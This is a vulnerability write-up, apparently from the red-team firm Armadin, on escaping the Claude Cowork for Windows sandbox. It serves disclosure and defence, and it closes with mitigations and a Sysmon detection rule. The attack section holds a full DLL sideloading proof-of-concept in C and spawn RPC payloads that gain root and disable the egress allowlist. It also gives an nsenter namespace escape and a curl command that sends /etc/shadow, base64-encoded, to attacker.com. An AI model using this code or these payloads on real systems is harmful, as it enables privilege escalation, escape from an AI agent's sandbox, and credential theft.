
Claude Cowork (Cowork) is Anthropic’s product for knowledge workers that is focused on automating common “non-technical” tasks. Cowork executes Claude Code in a sandbox environment, enabling users that wouldn’t otherwise be using Claude Code to leverage it for building tools and processing data.
Cowork for Windows (a component of Claude Desktop for Windows) wraps Claude Code in a Hyper-V-isolated Ubuntu VM with several layers of protection: Authenticode-gated named-pipe RPC, bubblewrap namespaces, per-session unprivileged users, a seccomp filter, and a domain-restricted egress proxy.
Armadin reviewed this sandbox stack from the outside in, with the goal of quietly executing arbitrary code inside the VM as root with unrestricted network egress.
Summary of Key Points
Cowork on Windows created a sandbox using the Host Compute Service directly to manage an Ubuntu Virtual Machine. This VM, like the Windows Subsystem for Linux v2, was not visible from Hyper-V. Users could run hcdiag list as an Administrator to confirm the Claude Cowork VM was running.

hcdiag list confirming the Claude Cowork VM was running on the host
Cowork also installed CoworkVMService, a Local System service that handled desktop connections from the Claude Desktop application. CoworkVMService was the focus of Armadin’s research, with the goal of quietly executing arbitrary code within the VM.

Attack chain across Cowork’s trust boundary. The Authenticode check at the named pipe enforced identity, not authorization on request contents; the spawn parameters that followed were forwarded into the VM without filtering.
CoworkVMService exposed a named pipe (\\.\pipe\cowork-vm-service ) that hosted a JSON-based RPC Server for interacting with the VM. Logs for the service were written to C:\ProgramData\Claude\Logs\cowork-service.log that included a wealth of information for implementing your own client. Example logs are included below:
2026/05/28 20:53:22.457627 [Server] Client connected
2026/05/28 20:53:22.849588 [Server] Client signature verified: C:\Program Files\WindowsApps\Claude_1.9255.2.0_x64__pzs8sxrjxfjjc\app\claude.exe (subject: Anthropic, PBC)
2026/05/28 20:53:22.854416 [Server] Client connected: user=<username> exe=claude.exe isDev=false
2026/05/28 20:53:22.854963 [Server] Persistent RPC: entering loopcowork-service logs on a successful client connection
CoworkVMService validated the Authenticode signature of the executable that connected to it, confirming the subject was “Anthropic, PBC” and that the signature was valid. Armadin attempted two bypasses: cloning the signature blob from an Anthropic-signed executable, and building an alternative trust chain that did not require trusting a self-signed root. Neither bypassed the WinVerifyTrust check.
When signature validation bypasses failed, the only option was to execute code with a valid signature. DLL sideloading, a common code execution method used by red teams, loads attacker-controlled code into a signed binary. As such, an executable signed by Anthropic that could be sideloaded bypassed the signature verification.
Armadin identified the GetUserProfileDirectoryW export in USERENV.dll as a viable target, since claude.exe resolved USERENV.dll from the application’s directory before falling back to the system copy.

claude.exe importing GetUserProfileDirectoryW from USERENV.dll
To exploit:
Armadin prompted a coding agent with a high-level description of DLL sideloading, the location of the Cowork service logs, and the goal of implementing an RPC client for the Cowork service.
The coding agent autonomously implemented the RPC client with a combination of:
Each RPC message used the following format:
[4-byte big-endian length][JSON payload]Interesting RPC methods included:
A simple connection test DLL is included below, showing the basics needed for an active session in which to run commands:
w/*
* Claude Code DLL Sideloading PoC
*
* Demonstrates that claude.exe loads USERENV.dll from its application directory,
* and that the sideloaded code inherits the Authenticode signature trust
* required to communicate with cowork-vm-service.
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PIPE_NAME "\\\\.\\pipe\\cowork-vm-service"
static HANDLE pipe_connect(void) {
return CreateFileA(
PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
0, NULL
);
}
static BOOL pipe_send(HANDLE h, const char *json) {
DWORD len = (DWORD)strlen(json);
unsigned char header[4] = {
(unsigned char)((len >> 24) & 0xFF),
(unsigned char)((len >> 16) & 0xFF),
(unsigned char)((len >> 8) & 0xFF),
(unsigned char)((len ) & 0xFF)
};
DWORD written;
if (!WriteFile(h, header, 4, &written, NULL) || written != 4) return FALSE;
if (!WriteFile(h, json, len, &written, NULL) || written != len) return FALSE;
return TRUE;
}
static char *pipe_recv(HANDLE h) {
unsigned char header[4];
DWORD rb;
if (!ReadFile(h, header, 4, &rb, NULL) || rb != 4) return NULL;
DWORD len = ((DWORD)header[0] << 24) | ((DWORD)header[1] << 16)
| ((DWORD)header[2] << 8) | ((DWORD)header[3]);
if (len == 0) { char *e = malloc(3); strcpy(e, "{}"); return e; }
char *buf = malloc(len + 1);
if (!buf) return NULL;
if (!ReadFile(h, buf, len, &rb, NULL) || rb != len) { free(buf); return NULL; }
buf[len] = '\0';
return buf;
}
static void poc(void) {
FILE *f = fopen("poc_output.txt", "w");
if (!f) return;
fprintf(f, "=== Claude Desktop DLL Sideloading PoC ===\n\n");
fprintf(f, "PID: %lu\n", (unsigned long)GetCurrentProcessId());
char exe_path[MAX_PATH];
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
fprintf(f, "Host process: %s\n\n", exe_path);
/* Connect to the cowork-vm-service named pipe */
HANDLE h = pipe_connect();
if (h == INVALID_HANDLE_VALUE) {
fprintf(f, "Pipe connection: FAILED (error %lu)\n", GetLastError());
fprintf(f, "\nThe cowork VM service may not be running.\n");
fclose(f);
return;
}
fprintf(f, "Pipe connection: SUCCESS\n");
fprintf(f, " Pipe: %s\n\n", PIPE_NAME);
/* Send isGuestConnected query */
const char *request = "{\"method\":\"isGuestConnected\",\"params\":{}}";
fprintf(f, "Request: %s\n", request);
if (!pipe_send(h, request)) {
fprintf(f, "Send: FAILED\n");
CloseHandle(h);
fclose(f);
return;
}
char *response = pipe_recv(h);
fprintf(f, "Response: %s\n\n", response ? response : "(null)");
if (response && strstr(response, "\"success\":true")) {
fprintf(f, "RESULT: Sideloaded DLL successfully authenticated to cowork-vm-service.\n");
fprintf(f, " The pipe server accepted our request because it verified the\n");
fprintf(f, " Authenticode signature of the host process (claude.exe).\n");
}
free(response);
CloseHandle(h);
fclose(f);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
poc();
}
return TRUE;
}
__declspec(dllexport) BOOL WINAPI GetUserProfileDirectoryW(
HANDLE hToken, LPWSTR lpProfileDir, LPDWORD lpcchSize) {
return FALSE;
}With code execution inside claude.exe and a working RPC client, Armadin exercised the RPC methods on CoworkVMService. The proxy allowlist, the per-spawn unprivileged user, the bubblewrap namespaces, the seccomp filters, and the Plan9 share all held up under direct attack: useradd rejected existing usernames including root, the proxy returned 403 Connection blocked by network allowlist for non-allowed domains, and NTFS junctions through the Plan9 share were not followed by the 9P server.
The break came from two parameters on the spawn RPC that the host service forwarded verbatim to the VM-side sdk-daemon.
Fuzzing the spawn method’s JSON payload with deliberately malformed inputs surfaced its parameter set. Go’s JSON unmarshaler returned error messages that named the expected field and type when the shape was wrong (sending {"command": []} returned json: cannot unmarshal array into Go struct field SpawnParams.command of type string), and walking the response surface one field at a time enumerated the full request schema. Two of those fields overrode the sandbox’s defaults: isResume and allowedDomains.
When isResume was false (the default), sdk-daemon created a fresh unprivileged Linux user via useradd and rejected requests that specify existing usernames. When isResume was true, this check was bypassed: the daemon ran the command as the specified existing user, with no restriction on which user could be targeted.
Setting name: "root" with isResume: true returned a shell as uid=0 inside the bwrap sandbox.
{
"method": "spawn",
"params": {
"command": "bash",
"args": ["-c", "id; grep Cap /proc/self/status; cat /proc/self/attr/current"],
"name": "root",
"id": "root-poc",
"isResume": true
}
}uid=0(root) gid=0(root) groups=0(root)
CapEff: 000001ffffffffff
unconfinedAll Linux capabilities were effective and permitted, AppArmor was unconfined, and PID 1 inside the bwrap namespace remained visible. That last detail was the escape: nsenter against PID 1 entered the host VM’s mount, PID, UTS, IPC, and network namespaces, leaving the bwrap sandbox entirely.
nsenter -t 1 -p -m -u -i -n -- bash -c 'id; ps auxww; cat /etc/shadow'uid=0 gid=0
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 ... sdk-daemon ...
root:*:20425:0:99999:7:::From there, an attacker had full root access to the VM with visibility of every running process, every active session’s data under /sessions/, and the ability to modify sdk-daemon and the seccomp BPF filters on disk.
SpawnParams also included an AllowedDomains field, a string array that overrode the proxy’s domain allowlist on a per-process basis. Setting it to ["*"] disabled all network filtering for that spawn.
{
"method": "spawn",
"params": {
"command": "curl",
"args": ["-s", "-o", "/dev/null", "-w", "%{http_code}\n", "<http://example.com>"],
"name": "netbypass",
"id": "net-poc",
"allowedDomains": ["*"]
}
}Under the default allowlist, example.com returned 403 Connection blocked by network allowlist from the proxy. With allowedDomains: ["*"], the same request returned 200. Armadin confirmed end-to-end reachability by connecting to an out-of-band testing server that the default allowlist blocks. Empty allowedDomains: [] blocked all traffic (more restrictive than the default), and specific domains could be added selectively (e.g., ["attacker.com"]).
Both parameters applied to a single spawn call. The combined request ran as root, escaped bwrap via nsenter, and exfiltrated /etc/shadow to an attacker-controlled host:
{
"method": "spawn",
"params": {
"command": "bash",
"args": ["-c", "nsenter -t 1 -p -m -u -i -n -- curl <http://attacker.com/$>(cat /etc/shadow | base64 -w0)"],
"name": "root",
"id": "full-escape",
"isResume": true,
"allowedDomains": ["*"]
}
}CoworkVMService authenticated the caller via Authenticode signature verification, then forwarded the JSON payload to sdk-daemon without inspecting IsResume or AllowedDomains. The security boundary the service was intended to enforce (that pipe clients only saw their own unprivileged session) was delegated entirely to the client.
An attacker with local code execution on the system could execute arbitrary commands in a privileged context within the Claude Cowork sandbox, hidden from the host system’s defensive controls.
Cowork is targeted at knowledge worker use cases that do not require the full Claude Code surface area. On hosts that do not need it, uninstalling Claude Desktop removes the named pipe and the service entirely. On hosts that do need it, AppLocker Packaged App rules can restrict the Claude_* package to a specific Entra ID or AD group, reducing the population of accounts a sideloading payload can target.
Sysmon Event ID 7 (ImageLoaded) on claude.exe where ImageLoaded ends in \USERENV.dll and the path is outside of C:\Windows\System32\ is a high-signal detection for the sideloading primitive. The same rule parameterized on other commonly abused stub DLLs (VERSION.dll, WINMM.dll, dwmapi.dll) catches the next variant before researchers publish it.
Distilling CoworkVMService’s undocumented RPC surface from service logs and a methodical fuzzing pass in a small number of LLM-enabled research sessions reflects how Armadin’s red team approaches novel attack surfaces. LLMs are drastically reducing the cost of flexing an attacker mindset and enabling rapid experimentation when facing new technology.
Claude Cowork presents a shift from the “interesting” attack surfaces normally limited to developer systems. Red teamers historically considered local VMs a feature primarily used by developers and threat actors leveraging VMs for evasion largely brought their own. Claude Cowork breaks this paradigm. Novel attack paths are increasingly being added to non-technical user systems as they adopt complex AI productivity tooling.
This shift comes with a potential cost. Virtualization systems create visibility gaps for endpoint security products and limit an organization’s ability to detect and prevent malicious behavior. A machine-speed attacker can weaponize and exploit these gaps before defenders are even aware the software is installed in their environment.
Stay Ahead of Whatever Threats May Come
New threats require a new approach and the right tools to keep your environment secure. Discover the full value of the Armadin platform at Armadin.com.